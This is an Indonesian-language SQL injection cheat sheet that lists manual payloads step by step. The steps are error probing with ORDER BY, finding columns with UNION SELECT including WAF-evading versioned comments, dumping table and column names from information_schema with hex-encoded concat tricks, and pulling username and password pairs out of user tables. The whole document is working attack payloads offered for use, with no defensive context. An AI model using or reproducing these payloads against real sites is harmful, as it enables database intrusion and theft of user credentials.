Query SQLI

Query Exploit SQL MANUAL

STEP 1
UNTUK CEK ERRORNYA

+order+by+1--

'+order+by+100--+-


Tahap Memunculkan Angka Ajaib / angka Vuln
+union+select+1,2,3--

'+/*!50000union*/+/*!50000select*/+1,2,3--+-


STEP 2
Tahap Menampikan Database
+union+select+1,2,(select(select+concat(@:=0xa7,(select+count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))),4,5,6--

'+union+select+1,2,3,4,concat(@c:=0x00,if((select count(*) from information_schema.columns where table_schema not like 0x696e666f726d6174696f6e5f736368656d61 and @c:=concat(@c,0x3c62723e,table_name,0x2e,column_name)),0x00,0x00),@c),6,7--+-

+union select 1,concat (0x494e4a454354204259202e2f4359424552303054202d,0x3c62723e,version(),0x3c62723e,database(),0x3c62723e,user(),(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))),3,4,5,6--


STEP 3
(Tahap Menampilkan Data yang ada pada database )

+union+select+1,2,3,concat(email,0x3a3a,password),5,6 from user--
'+/*!50000union*/+/*!50000select*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat(username,0x3a3a,password),22,23,24,25,26,27,28,29,30,31,32,33,34 from users--+-

+union+select+1,2,3,concat(username,0x3a3a,password),5,6,7,8,9,10 from kukan_user--

'+union+select+1,2,3,4,group_concat(username,0x3a3a,pwd,0x3a3a,level,'<br>'),6,7,8,9,10,11,12,13,14 from user--+-

'+union+select+1,2,concat(Username,0x3a,Password),4+from+user--+